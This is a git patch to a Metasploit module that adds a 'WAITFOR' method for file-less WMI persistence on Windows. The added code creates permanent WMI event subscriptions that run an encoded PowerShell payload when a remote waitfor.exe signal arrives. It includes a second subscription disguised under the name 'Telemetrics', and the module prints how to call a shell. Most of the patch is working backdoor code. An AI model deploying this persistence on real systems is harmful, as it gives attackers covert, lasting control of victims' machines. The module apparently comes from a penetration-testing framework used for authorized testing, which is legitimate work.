From e7d6d5350f1ec31eafe8349a73b28012ea9cd43c Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Fri, 23 Jun 2017 17:05:39 +0100 Subject: [PATCH] added WAITFOR persistence method --- .../exploits/windows/local/wmi_persistence.rb | 63 ++++++++++++++----- 1 file changed, 49 insertions(+), 14 deletions(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 96e8db64b5..9dedf85148 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -19,16 +19,18 @@ class MetasploitModule < Msf::Exploit::Local 'Name' => 'WMI Event Subscription Persistence', 'Description' => %q{ This module will create a permanent WMI event subscription to achieve file-less persistence using one - of four methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER + of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload. The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS - method will create an event filter that triggers the payload when the specified process is started. Additionally a custom - command can be specified to run once the trigger is activated using the advanced option CUSTOM_PS_COMMAND. This module requires - administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads - due to powershell script length limitations. + method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method + creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER + before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command + (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is + activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a + high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations. }, 'Author' => ['Nick Tyrer <@NickTyrer>'], 'License' => MSF_LICENSE, @@ -50,13 +52,15 @@ class MetasploitModule < Msf::Exploit::Local register_options([ OptEnum.new('PERSISTENCE_METHOD', - [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS']]), + [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]), OptInt.new('EVENT_ID_TRIGGER', [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), OptString.new('USERNAME_TRIGGER', [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]), OptString.new('PROCESS_TRIGGER', [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]), + OptString.new('WAITFOR_TRIGGER', + [true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]), OptInt.new('CALLBACK_INTERVAL', [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]), OptString.new('CLASSNAME', @@ -104,6 +108,11 @@ class MetasploitModule < Msf::Exploit::Local psh_exec(subscription_process) print_good "Persistence installed!" @cleanup + when 'WAITFOR' + psh_exec(subscription_waitfor) + cmd_exec("waitfor.exe #{datastore['WAITFOR_TRIGGER']}, time_out = 0") + print_good "Persistence installed! Call a shell using \"waitfor.exe /S /SI "+datastore['WAITFOR_TRIGGER']+"\"" + @cleanup end end @@ -169,6 +178,21 @@ class MetasploitModule < Msf::Exploit::Local end + def subscription_waitfor + command = build_payload + word = datastore['WAITFOR_TRIGGER'] + class_name = datastore['CLASSNAME'] + <<-HEREDOC + $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'} + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"} + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} + $filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} + $consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"} + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1} + HEREDOC + end + + def log_file(log_path = nil) # Thanks Meatballs for this host = session.session_host filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") @@ -186,13 +210,24 @@ class MetasploitModule < Msf::Exploit::Local def cleanup - name_class = datastore['CLASSNAME'] - clean_rc = log_file() - clean_up_rc = "" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" - file_local_write(clean_rc, clean_up_rc) - print_status("Clean up Meterpreter RC file: #{clean_rc}") + if datastore['PERSISTENCE_METHOD'] == "WAITFOR" + name_class = datastore['CLASSNAME'] + clean_rc = log_file() + clean_up_rc = "" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"" + file_local_write(clean_rc, clean_up_rc) + print_status("Clean up Meterpreter RC file: #{clean_rc}") + else + name_class = datastore['CLASSNAME'] + clean_rc = log_file() + clean_up_rc = "" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" + file_local_write(clean_rc, clean_up_rc) + print_status("Clean up Meterpreter RC file: #{clean_rc}") + end end end